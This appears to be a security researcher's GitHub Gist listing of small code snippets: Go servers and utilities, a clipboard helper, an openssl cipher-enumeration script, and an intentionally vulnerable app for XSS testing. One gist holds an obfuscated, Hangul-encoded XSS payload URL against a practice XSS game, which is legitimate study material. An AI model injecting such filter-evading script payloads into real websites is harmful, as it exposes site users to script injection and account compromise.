Skip to content

Instantly share code, notes, and snippets.

View hahwul's full-sized avatar
🔥
I love coffee ☕️

HAHWUL hahwul

🔥
I love coffee ☕️
View GitHub Profile
@hahwul
hahwul / copy-clipboard.js
Created July 31, 2021 08:21
copy to clipboard
function copy(val) {
const t = document.createElement("textarea");
document.body.appendChild(t);
t.value = val;
t.select();
document.execCommand('copy');
document.body.removeChild(t);
}
@hahwul
hahwul / blur.css
Created June 17, 2021 16:26
blur and not pointing html object
.blur {
filter: blur(2px);
-webkit-filter:
blur(2px);
pointer-events: none;
}
@hahwul
hahwul / hangul-xss.txt
Created May 28, 2021 03:39
Hangul xss
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3E([,%ED%95%98,,,,%ED%9B%8C]=[]%2B{},[%ED%95%9C,%EA%B8%80,%ED%8E%98,%EC%9D%B4,,%EB%A1%9C,%EB%93%9C,%E3%85%8B,,,%E3%85%8E]=[!!%ED%95%98]%2B!%ED%95%98%2B%ED%95%98.%E3%85%81)[%ED%9B%8C%2B=%ED%95%98%2B%E3%85%8E%2B%E3%85%8B%2B%ED%95%9C%2B%EA%B8%80%2B%ED%8E%98%2B%ED%9B%8C%2B%ED%95%9C%2B%ED%95%98%2B%EA%B8%80][%ED%9B%8C](%EB%A1%9C%2B%EB%93%9C%2B%EC%9D%B4%2B%EA%B8%80%2B%ED%95%9C%2B%27(45)%27)()%3C/script%3E
@hahwul
hahwul / xss-vuln-web-v2.go
Last active March 7, 2021 16:44
Vuln web for path based XSS testing
package main
import (
"net/http"
"time"
"net/url"
"github.com/labstack/echo"
"github.com/tylerb/graceful"
)
@hahwul
hahwul / enum-ciphersuite.sh
Last active February 23, 2021 15:55
Emun cipher suite of website (only use openssl)
SERVER=$1
DELAY=1
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g')
echo Enum cipher list from $(openssl version).
echo "========================"
for cipher in ${ciphers[@]}
do
result=$(echo -n | openssl s_client -cipher "$cipher" -connect $SERVER 2>&1)
@hahwul
hahwul / golang-custom-flag-usage.go
Created February 13, 2021 14:36
Golang custom flag usage
package main
import (
"flag"
"fmt"
)
func main() {
flag.String("a", "", "flag 1")
flag.String("b", "", "flag 2")
flag.String("c", "", "flag 3")
@hahwul
hahwul / show-all-relative-path.sh
Created February 5, 2021 07:44
Show files and directories with relative path in directory
tree -f | cut -d "." -f 2-99 | sort -u | tee paths
@hahwul
hahwul / token.go
Created January 22, 2021 18:50
Go generate token(SHA256)
func MakeToken(url string) string {
now := time.Now()
nanos := now.UnixNano()
sum := sha256.Sum256([]byte(strconv.FormatInt(nanos,10)+url))
data := fmt.Sprintf("%x",string(sum[:]))
return data
}
@hahwul
hahwul / server.go
Created January 22, 2021 18:49
Go simple web server using echo
package main
import (
"net/http"
"github.com/labstack/echo/v4/middleware"
"github.com/labstack/echo/v4"
"github.com/tylerb/graceful"
)
@hahwul
hahwul / concurrency.go
Created January 22, 2021 18:48
Go concurrency
package main
import (
"fmt"
"strconv"
"sync"
)
func main() {
fmt.Println("vim-go")